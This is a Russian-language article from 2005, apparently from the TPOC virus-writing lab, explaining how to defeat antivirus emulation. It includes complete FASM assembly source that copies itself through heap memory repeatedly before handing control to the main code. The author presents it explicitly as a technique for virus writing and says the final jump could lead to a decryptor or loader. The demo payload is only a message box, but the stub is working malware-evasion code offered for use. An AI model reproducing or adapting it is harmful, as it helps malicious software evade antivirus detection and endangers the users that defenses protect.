Путешествие по куче
или Как обмануть эмулятор?Автор: Ct757 / TPOC
Все мы часто сталкивались с такой фишкой антивирусов,
как эмуляция программного кода. Суть её заключается в том,
что av разбирает прогу на инструкции, а затем
эмулирует их выполнение. Это может очень часто
помешать при написании вирусов, да и вообще, кому
нравится, когда без спроса выполняют его код? :) Есть
несколько способов избежать этого, и в данной статье я
рассмотрю наиболее действенный, на мой взгляд. Смысл этого
способа заключается в том, чтобы построить код таким образом,
чтобы антивирус просто не смог бы его эмулировать.
Как мы знаем, в Windowz присутствует такая вещь как куча (heap).
Кучи бывают двух видов - стандартная и дополнительная. Стандартная
выделяется процессу во время его инициализации - её мы и будем
использовать. Размер этой памяти (т. е. кучи) определяется при
компиляции, по умолчанию он составляет 1 Мб. Так вот идея заключается
в том, чтобы скопировать собственный код в кучу, перейти на него,
проделать всё это n раз, а затем только перейти к выполнению основной
программы. Адрес памяти в куче заранее не известен (его мы узнаемтолько
после вызова соответсвующей API-функции), следовательно
антивирус не сможет выполнить эмуляцию программы.
В данной реализации этого механизма я буду использовать функции
LocalAlloc и LocalFree, но вы можете воспользоваться и другими апи
- это не важно. Вот прототип функции LocalAlloc:
HLOCAL LocalAlloc(
UINT uFlags,
SIZE_T uBytes
);
uFlags - Атрибут выделения памяти. Нам нужно LMEM_FIXED.
uBytes - Количество запрашиваемых байт. Этот параметр мы выставим равным размеру
"прыгающей" части.
Функция возрвращает хэндл памяти в куче. Как вы видите здесь всё просто.
Вам уже наверное не терпится что-нибудь написать. Ну давайте приступим:
;~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
; Emulation stopper
; (x)2005 by Ct757[TPOC]
;
; Use FASM to compile this shit
;~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
format PE GUI 4.0
entry start
include '%fasminc%\win32a.inc'
section '.main' code readable writeable executable
start:
; Сначала, установим адреса апишек, т. к. нам нужен базонезависимый код
push LocalFree
pop [_LocalFree]
push LocalAlloc
pop [_LocalAlloc]
; Здесь начинается код, который будет копироваться
begin:
call delta ; вычисляем
delta: pop ebp ; delta-смещение
mov ecx,[ebp+prev_mem-delta] ; проверяем предыдущий
jecxz _next ; хэндл памяти, если он
; равен нулю, то переходим
; дальше
; иначе
push ecx ; освобождаем память
dw 15FFh ; опкод call dword ptr [0xxxxxxxxh]
_LocalFree dd 00000000h ; адрес функции
_next: pushd [ebp+curr_mem-delta] ; текущий адрес
popd [ebp+prev_mem-delta] ; положим в пердыдущий
xor eax,eax
push code_sz ; размер кода
push eax ; флаг LMEM_FIXED
dw 15FFh ;
_LocalAlloc dd 00000000h ; call LocalAlloc - выделяем память
mov [ebp+curr_mem-delta],eax ; сохраняем хэндл
mov edi,eax ; адрес памяти поместим в edi
lea esi,[ebp+begin-delta] ; в esi - источник для копирования
db 0B8h ; опкод mov eax, 0xxxxxxxxh
count dd 00000100h ; кол-во прыжков
test eax,eax ; если кол-во больше нуля
jne __next ; прыгаем дальше
jmp_to_code:
; Тут находится код, который будет выполнен, когда мы напрыгаемся.
; Здесь также может находится какой-нибудь декриптор, загрузчик, и т. д.
mov eax,main ; просто передаем
jmp eax ; управление
__next:
dec dword [ebp+count-delta] ; уменьщаем счетчик
xor ecx,ecx ; заносим в ecx
add ecx,code_sz ; размер кода
rep movsb ; и копируем
jmp [ebp+curr_mem-delta] ; прыгаем на этот код
prev_mem dd 0 ; здесь будет предыдущий адрес
curr_mem dd 0 ; а здесь текущий
code_sz = $ - begin ; размер копируемого кода
; Тут лежит код основной программы
main:
invoke MessageBox,0,_text,_title,0
jmp exit
_title db 'Hello, world!',0
_text db 'Main program code here...',0
exit:
invoke ExitProcess,0
data import
library kernel32,'KERNEL32.DLL',\
user32,'USER32.DLL'
include '%fasminc%\APIA\kernel32.inc'
include '%fasminc%\APIA\user32.inc'
end data
;~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Вот и всё...
P.S. В качестве примера программы, работающей по такому
принципу вы можете посмотреть crackme.exe, который
прилагается к данной статье.
P.P.S. Thx to FreeMan[TPOC]
http://thepoc.exploiterz.org
http://ct757.net.ru (x)2005 by Ct757[TPOC]
;~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ |
Файлы [C]
Ct757 / TPOC | Новые события из жизни нашей лаборатории Статьи и переводы лаборатории TPOC Программы лаборатории TPOC Здесь мы сообщаем Вам, какие творения скоро появятся Ссылки на сайты, где можно найти больше информации История нашей лаборатории и ее члены |